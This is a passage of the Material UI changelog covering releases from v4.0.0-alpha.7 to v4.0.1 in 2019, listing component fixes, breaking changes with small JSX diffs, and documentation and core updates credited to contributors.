ripple props (#15864) @lychyi\n- [ListItemText] Update classes type definitions (#15822) @davjo664\n- [Tabs] Hide scrollbar on macOS (#15762) @Umerbhat\n- [Tooltip] Fix alignment issues (#15811) @pkmnct\n- [styles] Add MuiLink to ComponentsPropsList (#15814) @stuartgrigg\n\n### `@material-ui/icons@v4.0.1`\n\n- [icons] Fix the TypeScript definition of createSvgIcon (#15861) @alexkirsz\n\n### `@material-ui/codemod@v4.0.1`\n\n- [codemod] Create spacing API codemod (#15782) @joshwooding\n\n### `@material-ui/styles@v4.0.1`\n\n- [styles] Fix Symbol() usage in IE11 (#15856) @aditya1906\n\n### `@material-ui/lab@v4.0.0-alpha.14`\n\n- [lab] Add missing clsx calls (#15809) @merceyz\n\n### Docs\n\n- [docs] Add SECURITY.md (#15804) @oliviertassinari\n- [docs] Add Transitions header in the dialogs page (#15847) @prasook-jain\n- [docs] Add extendedFab migration (#15866) @chanand\n- [docs] Add missing Breadcrumbs CSS API (#15813) @joshwooding\n- [docs] Correctly fix the Google Ad issue @oliviertassinari\n- [docs] Fix Boolan -> Boolean (#15880) @jaironalves\n- [docs] Fix Link import (#15871) @bennyn\n- [docs] Fix deploy command @oliviertassinari\n- [docs] Fix empty v4 blog post link (#15831) @drac\n- [docs] Fix typo in styles advanced guide (#15844) @mgvparas\n- [docs] Follow the documentation, my bad @oliviertassinari\n- [docs] Global at rule is called font-face (#15865) @aditya1906\n- [docs] Hide the Ad fallback to Google (#15815) @oliviertassinari\n- [docs] Improve SEO structure @oliviertassinari\n- [docs] Improve lighthouse performance score (#15758) @eps1lon\n- [docs] Let's take our time, we don't need to rush v5 (#15826) @oliviertassinari\n- [docs] Minor fixes (#15836) @mbrookes\n- [docs] Minor improvements to codesandbox demos and examples (#15857) @eps1lon\n- [docs] Move links to the master branch (#15830) @oliviertassinari\n- [docs] Redirect next.mui.com to mui.com (#15838) @mbrookes\n- [docs] Update Installation.md for v4.0.0 (#15818) @hinsxd\n- [docs] Update the translations (#15807) @mbrookes\n- [docs] Update the v4 blog post (#15862) @mbrookes\n- [docs] Update translations (#15841) @mbrookes\n- [docs] Use makeStyles from core in layout examples (#15845) @divyanshutomar\n- [docs] Fix typo in README (#15817) @ammaristotle\n- [example] Update gatsby-plugin-material-ui dependency (#15810) @hupe1980\n\n### Core\n\n- [core] Add cross-env to docs:size-why (#15816) @merceyz\n- [core] Change the top package name so we get the number of dependents packages @oliviertassinari\n- [core] Fix not appearing in GitHub used/dependents (#15859) @eps1lon\n- [core] Prepare focus visible polyfill in ref phase (#15851) @eps1lon\n- [core] Remove babel-node for server/shared modules (#15764) @cvanem\n- [core] Remove dependency on workspace (#15849) @eps1lon\n- Create FUNDING.yml @oliviertassinari\n- [test] Remove FontAwesome from screenshot tests (#15853) @eps1lon\n\n## 4.0.0\n\n_May 23, 2019_\n\n[Material UI v4 is out 🎉](https://mui.com/blog/material-ui-v4-is-out/)\n\nSome statistics with v4 compared to the release of v1 one year ago:\n\n- From 300k downloads/month to 2M downloads/month on npm\n- From 90k users/month to 350k users/month on the documentation\n\n### `@material-ui/lab@v4.0.0-alpha.13`\n\n- [ToggleButtonGroup] Added missing size prop to type declarations (#15785) @CoolCyberBrain\n\n### `@material-ui/system@v4.0.0`\n\n- [system] Add missing TypeScript types for flexbox and shadows (#15781) @willbamford\n\n### Docs\n\n- [docs] Add remaining TypeScript component demos (#15755) @eps1lon\n- [docs] Fix Nav components subsections to be open by default (#15749) @mbrookes\n- [docs] Fix some gramma in testing doc (#15776) @DDDDDanica\n- [docs] Fix some grammar in right to left guide (#15789) @DDDDDanica\n- [docs] Fix typo (#15792) @retyui\n- [docs] Material UI v4 is out (#15766) @oliviertassinari\n- [docs] Reference the article with it's full name in icon doc (#15796) @DDDDDanica\n- [docs] Revert the marked change (#15797) @oliviertassinari\n\n### Core\n\n- [core] Change cssutils responsiveProperty unit type (#15783) @eddiemonge\n\n## 4.0.0-rc.0\n\n_May 20, 2019_\n\nA A big thanks to the 17 contributors who made this release possible!\n\nWe have done the very last breaking changes (nothing significant).\nThe release of v4 is imminent, stay tuned!\n\n### `@material-ui/core@v4.0.0-rc.0`\n\n### Breaking changes\n\n- [ClickAwayListener] Fix scrollbar interaction (#15743) @Umerbhat\n\n  ```diff\n  -<ClickAwayListener />\n  +<ClickAwayListener mouseEvent=\"onMouseUp\" />\n  ```\n\n  We recommend the default value since `mouseup` will be triggered by clicks\n  on scrollbars.\n\n- [Tabs] Hide scrollbar buttons when possible (#15676) @whitneymarkov\n\n  ```diff\n  -<Tabs />\n  +<Tabs scrollButtons=\"desktop\" />\n  ```\n\n- [Tabs] Remove deprecated fullWidth and scrollable props (#15670) @mbrookes\n\n  ```diff\n  -<Tabs fullWidth scrollable />\n  +<Tabs variant=\"scrollable\" />\n  ```\n\n### Changes\n\n- [ButtonBase] Convert to function component (#15716) @eps1lon\n- [CssBaseline] Fix wrong default font weight (#15747) @oliviertassinari\n- [InputBase] Convert to function component (#15446) @adeelibr\n- [Popups] Allow Element as anchor el (#15707) @eps1lon\n- [Portal] Fix disablePortal not working (#15701) @imdaveead\n- [Radio] Animate the check state change (#15671) @imdaveead\n- [Tabs] Remove deprecated fullWidth and scrollable props (#15670) @mbrookes\n- [Tabs] Update rendering of auto-scrollable buttons (#15676) @whitneymarkov\n- [Tabs] Update onChange docs to match types (#15672) @jharrilim\n- [ToggleButtonGroup] Add size prop (#15644) @isaacblinder\n\n### `@material-ui/icons@v4.0.0-rc.0`\n\n- [icons] Forward ref (#15683) @eps1lon\n\n### `@material-ui/lab@v4.0.0-alpha.12`\n\n- [SpeedDial] Convert to function component (#15737) @jeongsd\n\n### Docs\n\n- [docs] Add showcase criteria (#15686) @cvanem\n- [docs] Document if a component is StrictMode compatible (#15718) @eps1lon\n- [docs] Fix \"enebles\" typo on Palette page (#15719) @sbward\n- [docs] Fix a typo (#15709) @designorant\n- [docs] Fix Algolia top level duplication (#15738) @oliviertassinari\n- [docs] Fix typo and formatting in app-bar demo (#15723) @flying-sheep\n- [docs] Overhaul bundle size guide (#15739) @eps1lon\n- [docs] Persist the side nav scroll (#15704) @oliviertassinari\n- [docs] Port blog to next (#15711) @mbrookes\n- [docs] Simplify /related-projects (#15702) @pinturic\n- [docs] Use pickers from material-ui namespace (#15691) @eps1lon\n- [docs] Warn about ButtonBase#disableRipple and a11y (#15740) @eps1lon\n- [docs] Add ClickAwayListener breaking change (#15753) @eps1lon\n- [docs] Core a11y improvements (#15748) @eps1lon\n- [docs] Fix some apostrophe in TypeScript doc (#15757) @DDDDDanica\n\n### Core\n\n- [test] Colocate shadow root test for focus visible with implementation (#15712) @eps1lon\n- [test] Extend StrictMode tests (#15714) @eps1lon\n- [core] Add missing fontStyle type to TypographyStyle (#15733) @merceyz\n\n## 4.0.0-beta.2\n\n_May 13, 2019_\n\nA A big thanks to the 13 contributors who made this release possible!\n\nThis is a stability release preparing v4.\n\n### `@material-ui/core@v4.0.0-beta.2`\n\n- [Box] Add export to barrel (index.js) (#15602) @ljvanschie\n- [ButtonBase] Extend error message for invalid `component` prop (#15627) @eps1lon\n- [Select] Add to docs that options must be direct descendants (#15619) @bh1505\n- [SwipeableDrawer] Remove internal accesses in the tests (#15469) @joshwooding\n- [Tabs] scrollButtons have an empty button error in compliance tools (#15646) @elnikolinho\n- [useScrollTrigger] Enhance trigger, improve tests (#15634) @cvanem\n\n### `@material-ui/styles@v4.0.0-beta.2`\n\n- [styles] Fix warning false positive (#15595) @oliviertassinari\n- [styles] Keep MuiThemeProvider for backward compatibility (#15650) @oliviertassinari\n\n### `@material-ui/system@v4.0.0-beta.2`\n\n- [system] Fix CSS function rejecting certain prop types (#15611) @eps1lon\n\n### `@material-ui/lab@v4.0.0-alpha.11`\n\n- [SpeedDial] Fix classname override logic (#15652) @janhesters\n\n### Docs\n\n- [docs] Add custom default props handler (#15473) @eps1lon\n- [docs] Add next page link (#15656) @mbrookes\n- [docs] Add QuintoAndar in the showcase (#15622) @oliviertassinari\n- [docs] Fix dead David DM badges in README (#15667) @mbrookes\n- [docs] Fix few grammar issues (#15643) @DDDDDanica\n- [docs] Fix plural spelling (#15613) @cvanem\n- [docs] Fix some dev-only warnings (#15640) @eps1lon\n- [docs] Fix the adapting makeStyles based on props example syntax (#15621) @devarsh\n- [docs] Improve installation instructions for running the docs locally (#15608) @andreawaxman\n- [docs] Improve v3 migration guide (#15615) @eps1lon\n- [docs] Link edit page button to GitHub editor (#15659) @mbrookes\n- [docs] Miscellaneous polish (#15665) @eps1lon\n- [docs] Reorganize the structure (#15603) @mbrookes\n- [docs] Update the translations (#15653) @mbrookes\n\n### Core\n\n- [core] Drop partial chrome 41 support (#15630) @eps1lon\n- [core] Optimize clsx usage (#15589) @merceyz\n- [core] Remove react-event-listener from function components (#15633) @joshwooding\n- [core] Upgrade the dev dependencies (#15590) @oliviertassinari\n\n## 4.0.0-beta.1\n\n_May 5, 2019_\n\nA A big thanks to the 19 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- 🐛 Many bug fixes based on people migrating from v3 to v4.\n- 💄 Responsive font sizes (#14573) @n-batalha.\n- 💄 AppBar scroll behavior (#15522) @cvanem.\n- ♿️ Better Button and Tooltip keyboard behavior (#15398, #15484) @eps1lon.\n- And many more 🔍 TypeScript fixes and 📚 documentation improvements.\n\n### `@material-ui/core@v4.0.0-beta.1`\n\n### Bug fixes / Breaking changes\n\n- [ListItem][expansionpanel] Follow the style convention (#15534) @oliviertassinari\n  Fix a CSS override issue.\n- [Tooltip] Display only on keyboard focus (#15398) @eps1lon\n  Fix an accessibility issue.\n\n### Changes\n\n- [AppBar] Hide and Elevate on Scroll (#15522) @cvanem\n- [Box] Add to core index TypeScript definitions (#15576) @ljvanschie\n- [ButtonBase] Use fork of focus-visible polyfill (#15484) @eps1lon\n- [Menu] Add 'variant' prop TypeScript declaration (#15556) @kunimart\n- [MenuList] Ignore disableListWrap for text focus navigation (#15555) @ryancogswell\n- [Portal] Migrate to React hooks (#15399) @gautam-pahuja\n- [TableCell] Fix TypeScript declaration of the 'padding' prop (#15516) @kunimart\n- [TableCell] Update TypeScript definitions (#15541) @ljvanschie\n- [TablePagination] Use OverridableComponent in TypeScript declarations (#15517) @kunimart\n- [Tabs] Fix aria-label issue on the demos (#15507) @amangalvedhekar\n- [theme] Responsive font sizes (#14573) @n-batalha\n- [Transition] Fix false-positive ref warning (#15526) @eps1lon\n- [Badge] Handle undefined badgeContent rendering empty bubble (#15581) @Naismith\n\n### `@material-ui/styles@v4.0.0-beta.1`\n\n- [styles] Create a new JSS instance with injectFirst (#15560) @oliviertassinari\n- [core] Set default theme type for makeStyles (#15549) @merceyz\n- [core] Set default theme type for useTheme (#15538) @merceyz\n\n### `@material-ui/types@v4.0.0-beta.2`\n\n- [types] Add @material-ui/types package (#15577) @eps1lon\n\n### `@material-ui/system@v4.0.0-beta.1`\n\n- [system] Test types (#15575) @eps1lon\n\n### `@material-ui/lab@v4.0.0-alpha.10`\n\n- [Slider] Save focus after click (#15439) @jztang\n\n### Docs\n\n- [example] Fix TypeScript compilation error (#15550) @emmtqg\n- [docs] Add DelayingApperance TypeScript demo (#15551) @merceyz\n- [docs] Convert react-autosuggest demo to TypeScript (#15485) @nareshbhatia\n- [docs] Document v4 theme.spacing.unit deprecation (#15571) @cvanem\n- [docs] Extract inherited component from test (#15562) @eps1lon\n- [docs] Fix Draggable Dialog interactions with the content (#15552) @devdanco\n- [docs] Fix outdated links & demos (#15521) @oliviertassinari\n- [docs] Fix typechecking (#15501) @merceyz\n- [docs] Fix typography demo in dark mode (#15591) @jztang\n- [docs] Improve v3 migration guide (#15527) @janhesters\n- [docs] Migrate more demos to hooks (#15494) @merceyz\n- [docs] Remove NoSsr where possible (#15510) @oliviertassinari\n- [docs] Simplify wording for customization demo descriptions (#15539) @mbrookes\n- [docs] Update Changelog (#15567) @oliviertassinari\n- [docs] Updated v3 Migration guide (#15518) @vkasraj\n\n### Core\n\n- [core] Add additional warnings when attaching ref to function elements (#15519) @eps1lon\n- [core] Add ref prop to transition components (#15520) @eps1lon\n- [core] Better handle theme.overrides pseudo-classes (#15578) @oliviertassinari\n- [core] Fix createStyles not being defined (#15547) @pvdstel\n\n## 4.0.0-beta.0\n\n_Apr 28, 2019_\n\nA A big thanks to the 21 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- ♿️ Significantly improve the keyboard behavior of the menu (#15360, #15495) @ryancogswell.\n- 💅 Generate global class names (#15140) @oliviertassinari.\n- 📦 Add example integration with Preact (#15401).\n- 🔥 Continue the TypeScript and hook demos migration @merceyz, @bh1505, @donigianrp, @eluchsinger, @eps1lon, @lksilva.\n- 🎀 4 more core components migrated from Classes to Hooks @joshwooding.\n- 📦 Reduce the cost of using the Modal by -74% standalone (#15466).\n- And many more 🐛 bug fixes and 💄 improvements.\n\nThe library has entered the beta phase of v4.\nWe are grateful to all the contributors that have helped us so far.\nWe will focus or effort on the stability of the library for the next two weeks.\nWe don't plan more breaking changes, at the exception of changes that are required to fix bugs or that have minor impacts.\nWe hope we can release v4 on May 15th, one year after v1.\n\nPlease try the beta out! You can find an [upgrade guide](https://mui.com/material-ui/migration/migration-v3/) to ease the transition.\nYou will learn more about v4 in the final release blog post and our plans for the future.\n\n### `@material-ui/core@v4.0.0-beta.0`\n\n#### Breaking Changes\n\n- [styles] Generate global class names (#15140) @oliviertassinari\n  Remove the dangerouslyUseGlobalCSS options (makes it the default behavior).\n- [Modal] -74% bundle size reduction when used standalone (#15466) @oliviertassinari\n  Remove the classes customization API for the Modal component.\n- [core] Remove RootRef usage (#15347) @joshwooding\n  The Modal and Dialog child needs to be able to hold a ref.\n\n  ```diff\n  class Component extends React.Component {\n    render() {\n      return <div />\n    }\n  }\n  -const MyComponent = props => <div {...props} />\n  +const MyComponent = React.forwardRef((props, ref) => <div ref={ref} {...props} />);\n  <Modal><Component /></Modal>\n  <Modal><MyComponent /></Modal>\n  <Modal><div /></Modal>\n  ```\n\n- [ClickAwayListener] Hide react-event-listener (#15420) @oliviertassinari\n- [Slide] Convert to function component (#15344) @joshwooding\n  The child needs to be able to hold a ref.\n\n  ```diff\n  class Component extends React.Component {\n    render() {\n      return <div />\n    }\n  }\n  -const MyComponent = props => <div {...props} />\n  +const MyComponent = React.forwardRef((props, ref) => <div ref={ref} {...props} />);\n  <Slide><Component /></Slide>\n  <Slide><MyComponent /></Slide>\n  <Slide><div /></Slide>\n  ```\n\n#### Changes\n\n- [TextField] Update labelWidth for outline variant if required is updated (#15386) @dmiller9911\n- [Breadcrumbs] Fix types and enable component generic props (#15414) @Atralbus\n- [TextField] Pass rowsMin prop to underlying abstractions (#15411) @pachuka\n- [SelectInput] Convert to function component (#15410) @joshwooding\n- [Link] Improve TypeScript integration with react-router (#15412) @pachuka\n- [ButtonBase] Remove dead style (#15503) @koshea\n- [Menu] Improve performance and add support for variants (#15360) @ryancogswell\n- [MenuList] Add text keyboard focus navigation (#15495) @ryancogswell\n- [Modal] -74% bundle size reduction (#15466) @oliviertassinari\n- [Paper] Fix color inheritance issue using nested themes (#15465) @mustafahlvc\n- [Popper] Convert to function component (#15405) @joshwooding\n- [Radio][checkbox] Revert breaking changes (#15483) @oliviertassinari\n- [Select] Display 0 as a valid value, fix a propType warning (#15468) @Princezhm\n- [Slider] Add Customized Slider Demo (#15478) @bh1505\n- [Snackbar] Convert to function component (#15504) @adeelibr\n- [Textarea] Fix cursor jump (#15436) @oliviertassinari\n- [Textarea] Remove rowsMin prop (#15430) @pachuka\n\n### `@material-ui/styles@v4.0.0-beta.0`\n\n- [styles] Add type test for withStyles + ref (#15383) @eps1lon\n- [styles] Warn if @material-ui/styles is duplicated (#15422) @oliviertassinari\n- [styles] Generate global class names (#15140) @oliviertassinari\n\n### Docs\n\n- [docs] Add Button + react-router TypeScript demo (#15382) @eps1lon\n- [docs] Add CustomizedSwitches TypeScript demo (#15424) @donigianrp\n- [docs] Add Interactive List TypeScript demos (#15416) @lksilva\n- [docs] Add Nested List and Switch List Secondary TypeScript demos (#15493) @bh1505\n- [docs] Add ref vs dom node prop explanation (#15458) @eps1lon\n- [docs] Add Selected List Item to TypeScript demos (#15417) @lksilva\n- [docs] Add SkipNav (#15409) @mbrookes\n- [docs] Add some Selection-Controls TypeScript demos (#15408) @bh1505\n- [docs] Add switches TypeScript demo (#15384) @JarkEMones\n- [docs] Add TypeScript demo for hook+props based styling (#15459) @eps1lon\n- [docs] Document Tooltip breaking changes (#15403) @joshwooding\n- [docs] Fix modal demo jumping on cursor move (#15462) @eps1lon\n- [docs] Improve CSS Grid documentation (#15477) @dmwyatt\n- [docs] Improved demo transpiling (#15438) @merceyz\n- [docs] material-table demo: persist the changes (#15392) @mbrn\n- [docs] Migrate Divider demos to hooks (#15490) @merceyz\n- [docs] Migrate Drawer demos to hooks (#15487) @merceyz\n- [docs] Migrate List demos to hooks (#15488) @merceyz\n- [docs] Migrate Paper demos to hooks (#15489) @merceyz\n- [docs] Migrate picker demos to hooks (#15390) @merceyz\n- [docs] Migrate Table demos to hooks (#15486) @merceyz\n- [docs] Migrate TextField demos to hooks (#15434) @merceyz\n- [docs] Remove unused imports and declarations (#15479) @merceyz\n- [docs] Separate out selection controls to own pages (#15427) @mbrookes\n- [docs] Small grammar fix for Menu (#15475) @mbrookes\n- [docs] Transfer List TypeScript Demo (#15419) @eluchsinger\n- [example] Add preact-next example (#15401) @oliviertassinari\n- [example] Fix gatsby-next (#15406) @TheHolyWaffle\n\n### Core\n\n- [core] Fix the CI fail (#15428) @oliviertassinari\n- [ci] Fail when demos are only available in TypeScript (#15460) @eps1lon\n- [core] Fix useLayoutEffect warnings on the server (#15463) @eps1lon\n- [core] Minor nitpicks (#15432) @joshwooding\n- [core] Use terser for minification in umd bundle (#15491) @eps1lon\n- [test] Conform components forward ref to root component (#15425) @eps1lon\n- [test] Fix a flaky test (#15445) @oliviertassinari\n- [test] Keep track of the bundle size of FocusTrap (#15453) @oliviertassinari\n\n## 4.0.0-alpha.8\n\n_Apr 17, 2019_\n\nA A big thanks to the 27 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- 🔥 Many new TypeScript & hook demos @donigianrp, @sperry94, @jasondashwang, @cahilfoley, @bh1505 and @kenzhemir\n- 🎀 5 more core components migrated from Classes to Hooks @joshwooding, @oliviertassiari.\n- 📐 Update the List to better match the Material Design specification.\n- 🎁 Add new TransferList component @mbrookes.\n- And many more 🐛 bug fixes and 💄 improvements.\n\nWe hope the next release can be 4.0.0-beta.0.\nHere are the last breaking changes we want to introduce:\n\n- Remove the `dangerouslyUseGlobalCSS` option (make it the default behavior) (#15140)\n- Require the Slide and Modal child element to be able to hold a ref (#15344, #15347)\n- Hide the EventListener dependency of ClickAwayListener (#15126)\n\nWe have done a lot of changes in the alpha phase.\nThe beta phase will be used to stabilize the library, we might have introduced bugs.\nWe will encourage people to try the beta out. We hope the migration will be smooth [with the upgrade guide](https://mui.com/material-ui/migration/migration-v3/).\n\nWe hope 2-3 weeks of beta will be enough. We plan on releasing v4 stable in May.\n\n### `@material-ui/core@v4.0.0-alpha.8`\n\n#### Breaking Changes\n\n- [Paper] Reduce the default elevation (#15243) @oliviertassinari\n  Change the default Paper elevation to match the Card and the Expansion Panel:\n\n  ```diff\n  -<Paper />\n  +<Paper elevation={2} />\n  ```\n\n- [List] Update to match the specification (#15339) @oliviertassinari\n  Rework the list components to match the specification:\n  - The usage of the `ListItemAvatar` component is required when using an avatar\n  - The usage of the `ListItemIcon` component is required when using a left checkbox\n  - The `edge` property should be set on the icon buttons.\n\n- [actions] Rename disableActionSpacing to disableSpacing (#15355) @oliviertassinari\n  - [CardActions] Rename the `disableActionSpacing` prop `disableSpacing`.\n  - [CardActions] Remove the `disableActionSpacing` CSS class.\n  - [CardActions] Rename the `action` CSS class `spacing`.\n  - [DialogActions] Rename the `disableActionSpacing` prop `disableSpacing`.\n  - [DialogActions] Rename the `action` CSS class `spacing`.\n  - [ExpansionPanelActions] Rename the `action` CSS class `spacing`.\n\n- [Tooltip] Convert to function component (#15291) @joshwooding\n  The child of the `Tooltip` needs to be able to hold a ref\n\n  ```diff\n  class Component extends React.Component {\n    render() {\n      return <div />\n    }\n  }\n  -const MyComponent = props => <div {...props} />\n  +const MyComponent = React.forwardRef((props, ref) => <div ref={ref} {...props} />);\n  <Tooltip><Component /></Tooltip>\n  <Tooltip><MyComponent /></Tooltip>\n  <Tooltip><div /></Tooltip>\n  ```\n\n#### Changes\n\n- [ScrollbarSize] Convert to function component (#15233) @joshwooding\n- [InputBase] Fix placeholder bug in Edge (#15267) @rodrigolabs\n- [TransferList] Add new component (#15232) @mbrookes\n- [withMobileDialog] Improve types (#15276) @eps1lon\n- [Collapse] Convert to function component (#15248) @joshwooding\n- [DialogContent] Add divider prop type for TypeScript (#15273) @sperry94\n- [Tab] Remove outdated classes from the definitions (#15297) @zheeeng\n- [Tooltip] Suppress disabled button warning when controlled (#15304) @tasinet\n- [typescript] Generic props for FormControl, FormLabel, List (#15292)\n- [Select] Fix incorrect event.target type in onChange (#15272) @sperry94\n- [Popper] Fix to defer setting of exited state to Transition component (#15250) @Sharakai\n- [Modal] Fix to defer setting of exited state to Transition component (#15266) @Sharakai\n- [InputBase] Fix onFilled/onEmpty being called during render (#15319) @eps1lon\n- [Tooltip] Convert to function component (#15291) @joshwooding\n- [Ripple] Convert to function component (#15345) @joshwooding\n- [Textarea] Refactor the implementation (#15331) @oliviertassinari\n- [Modal] Add reason parameter to onClose function signature (#15373) @JarkEMones\n- [Box] Test props to attributes forwarding (#15365) @eps1lon\n- [Container] Add component prop for TypeScript (#15369) @Amere\n- [Popper] Fix popperOptions prop (#15359) @jaipe\n\n### `@material-ui/styles@v4.0.0-alpha.8`\n\n- Fix dependency duplication issue @oliviertassinari\n- [styles] Improve typings for makeStyles (#15366) @geirsagberg\n\n### `@material-ui/system@v4.0.0-alpha.8`\n\n- [system] Add types (#15357) @eps1lon\n\n### `@material-ui/docs@v4.0.0-alpha.8`\n\n- [NProgressBar] Add types (#15380) @eps1lon\n\n### Docs\n\n- [docs] Fix layout glitch when changing sort-by in showcases (#15255) @thomasnordquist\n- [docs] Add Checkbox TypeScript demo (#15222) @donigianrp\n- [docs] Add CheckboxLabel TypeScript demo (#15237) @donigianrp\n- [docs] Adding Most Stepper TypeScript Demos (#15223) @sperry94\n- [docs] Add CustomInputBase TypeScript demo (#15209) @jasondashwang\n- [docs] Add most Drawer TypeScript demos (#15119) @cahilfoley\n- [docs] Slight grammar changes to color.md (#15257) @raybooysen\n- [docs] Document sharing makeStyles between components (#15234) @johnraz\n- [docs] Improve the @material-ui/styles documentation (#15236) @oliviertassinari\n- [docs] Add CheckboxesGroup TypeScript demo (#15228) @donigianrp\n- [docs] Delete legacy lab/layout (#15285) @mbrookes\n- [docs] Proof the Styles section (#15268) @mbrookes\n- [docs] Enable react profiling in production (#15282) @eps1lon\n- [docs] Improve table demos (#15281) @eps1lon\n- [docs] Add ClippedDrawer TypeScript demo (#15284) @cahilfoley\n- [docs] Add most Dialog TypeScript demos (#15271) @sperry94\n- [docs] Who's using Material UI? (#15301) @mbrookes\n- [examples] Fix HTML end tag (#15293) @raybooysen\n- [docs] Update version filter (#15307) @mbrookes\n- [docs] Removed styled-components in gatsby-next dependencies (#15313) @tatchi\n- [docs] Improve ServerStyleSheets documentation (#15287) @raymondsze\n- [docs] Add Select TypeScript demos (#15288) @cahilfoley\n- [docs] Fix placeholder position in react-select demo (#15332) @merceyz\n- [docs] Add some List TypeScript demos (#15323) @bh1505\n- [docs] Disable the table of content on a few pages (#15338) @oliviertassinari\n- [docs] Document ref forwarding (requirements) (#15298) @eps1lon\n- [example] Add Reason example (#15340) @Tevinthuku\n- [docs] Migrate docs' breadcrumbs page to hooks (#15349) @kenzhemir\n- [docs] Provide a definition to root element and component (#15337) @oliviertassinari\n- [docs] update FAQ doc (#15356) @gautam-pahuja\n- [docs] Expand demo by default instead of duplicating the code (#15364) @eps1lon\n- [docs] Promote material-table (#15367) @oliviertassinari\n- [docs] Improve the customization demos (#15368) @oliviertassinari\n- [docs] Use tsx syntax highlighting (#15385) @eps1lon\n\n### Core\n\n- [core] Allow docs:dev access over local network (#15259) @eps1lon\n- [core] Type ref for components (#15199) @eps1lon\n- [core] Dedupe lockfile (#15260) @eps1lon\n- [core] Ref cleanup (#15261) @eps1lon\n- [test] Add undesired withStyles + generic props component behavior (#15215) @eps1lon\n- [Transition] Update transition tests (#15249) @joshwooding\n- [core] Switch from buttonRef to ref usage (#15296) @eps1lon\n- [core] Synchronise value and checked prop typing (#15245) @joshwooding\n- [test] Use skip instead of testComponentPropWith: false (#15309) @eps1lon\n- [core] Reduce calls to actions props (#15312) @eps1lon\n- [test] Use actual React.memo (#15321) @eps1lon\n- [core] Add `strict` option to createMount (#15317) @eps1lon\n- [core] Use implicit children spread (#15354) @oliviertassinari\n- [core] Reduce calls to actions prop (#15370) @eps1lon\n- [core] Upgrade react-transition-group (#15375) @eps1lon\n- [test] Add missing styles tests (#15376) @ellisio\n- [test] Add hoc + overridable component workaround (#15381) @ellisio\n- [utils] Fix lazy and memo components issuing forward ref warnings (#15322) @eps1lon\n\n## 4.0.0-alpha.7\n\n_Apr 8, 2019_\n\nA A big thanks to the 24 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- 🔥 Many new TypeScript & hook demos @Dudrie, @jasondashwang, @sperry94, @Adherentman, @gabrielgene and @Tevinthuku\n- 🎀 6 more core components migrated from Classes to Hooks @joshwooding.\n- 📐 Update the selection controls and Snackbar to better match the Material Design specification.\n- And many more 🐛 bug fixes and 💄 improvements.\n\n### `@material-ui/core@v4.0.0-alpha.7`\n\n#### Breaking Changes\n\n- [Switch][radio][Checkbox] Improve specification compliance (#15097) @oliviertassinari\n\n  Refactore the implementation to make it easier to override the styles.\n  Rename the class names to match the specification wording:\n\n  ```diff\n  -icon\n  -bar\n  +thumb\n  +track\n  ```\n\n- [Snackbar] Match the new specification (#15122) @oliviertassinari\n  - Change the dimensions\n  - Change the default transition to from `Slide` to `Grow`.\n\n- [TextField] Fix height inconsistency (#15217) @gautam-relayr\n\n  Remove the `inputType` class from `InputBase`.\n\n#### Changes\n\n- [Box] Add remaining props to type declaration (#15101) @iamsoorena\n- [theme] Prepare the deprecation of theme.mixins.gutters (#15124) @oliviertassinari\n- [Switch] Add demo for labels on both sides (#14900) @s7dhansh\n- [Zoom] Convert to function component (#15133) @joshwooding\n- [Tab] Remove internal indicator prop types (#15143) @sperry94\n- [Grid] Add root class (#15163) @eps1lon\n- [Grow] Convert to function component (#15134) @joshwooding\n- [CardMedia] Move object-fit to the core (#15166) @gebigoma\n- [core] Forward ref in Collapse, Popper and SwipeableDrawer (#15170) @eps1lon\n- [Popover] Fix the warning when anchorReference=\"anchorPosition\" (#15182) @xaviergonz\n- [styles] Fix getLuminance for hsl (#14391) @strayiker\n- [Select] Trigger the open callbacks even when uncontrolled (#15176) @rreznichenko\n- [Popover] Add warning when non-ref-holding component is used in Paper (#15181) @eps1lon\n- [TablePaginationActions] Convert to function component (#15189) @joshwooding\n- [TextField] Add links to Input and Select (#15148) @MrHen\n- [CardMedia] Allow generic component in TypeScript (#15098) @Domino987\n- [Button] Improve types with regard to react-router (#15193) @eps1lon\n- [NoSsr] Convert to function component (#15167) @joshwooding\n- [ClickAwayListener] Remove findDOMNode usage (#15179) @eps1lon\n- [FormControl] Convert to function component (#15208) @joshwooding\n- [SwitchBase] Convert to function component (#15188) @joshwooding\n\n### `@material-ui/styles@v4.0.0-alpha.7`\n\n- [styles] Fix types of ServerStyleSheets.collect (#15156) @evenchange4\n- [styles] Add injectFirst to StylesOptions interface (#15192) @stefanorie\n- [styles] Memoize theme to prevent re-rendering (#15201) @jhrdina\n\n### Docs\n\n- [docs] SimplePortal example using Hooks (#15125) @ralvs\n- [example] Simplify ssr examples (#15127) @oliviertassinari\n- [docs] Add Grid List TypeScript demos (#15118) @Dudrie\n- [docs] Polish Snackbar demos (#15129) @eps1lon\n- [docs] More Table TypeScript demos (#15086) @jasondashwang\n- [docs] Add most Progress TypeScript demos (#15104) @sperry94\n- [docs] Flatten /layout/layout (#15120) @oliviertassinari\n- [docs] Migrate docs' App bar page to hooks (#15121) @gabrielgene\n- [docs] Migrate docs' Tooltips page to hooks (#15137) @gabrielgene\n- [docs] Use Date type instead of any for Material UI pickers demo (#15144) @gabrielgene\n- [docs] Add virtualized List example (#15149) @joshwooding\n- [docs] Update Style library interoperability + Container forwardRef (#15147) @oliviertassinari\n- [docs] Run the TypeScript demos (#15159) @oliviertassinari\n- [docs] Add Breadcrumbs TypeScript demos (#15139) @Adherentman\n- [docs] Fix anchor link (#15174) @eps1lon\n- [docs] Convert customized select component to use hooks (#15177) @Tevinthuku\n- [docs] Add ExpansionPanels TypeScript Demo (#15162) @Adherentman\n- [docs] Add ref forwarding to API docs (#15135) @eps1lon\n- [docs] Add ImgMediaCard TypeScript demo (#15130) @jasondashwang\n- [docs] Link 'React Material UI Cookbook' (#15211) @oliviertassinari\n- [docs] Fix the docs in dev mode for IE11 (#15230) @oliviertassinari\n- [docs] New translations (#15235) @mbrookes\n- [examples] Update all the examples + page layout examples (#15219) @nareshbhatia\n- [docs] Tidy up moved / deleted translations and update the Crowdin config (#15247) @mbrookes\n\n### Core\n\n- [test] Forward ref behavior (#15131) @eps1lon\n- [core] Use explicit HTML entity (#15132) @eps1lon\n- [test] Decouple root class from root component (#15168) @eps1lon\n- [core] Polish `type` type of button related components (#15158) @eps1lon\n- [DialogContentText] Test conformance (#15206) @eps1lon\n\n## 4.0.0-alpha.6\n\n_Mar 30, 2019_\n\nA A big thanks to the 20 contributors who made this release 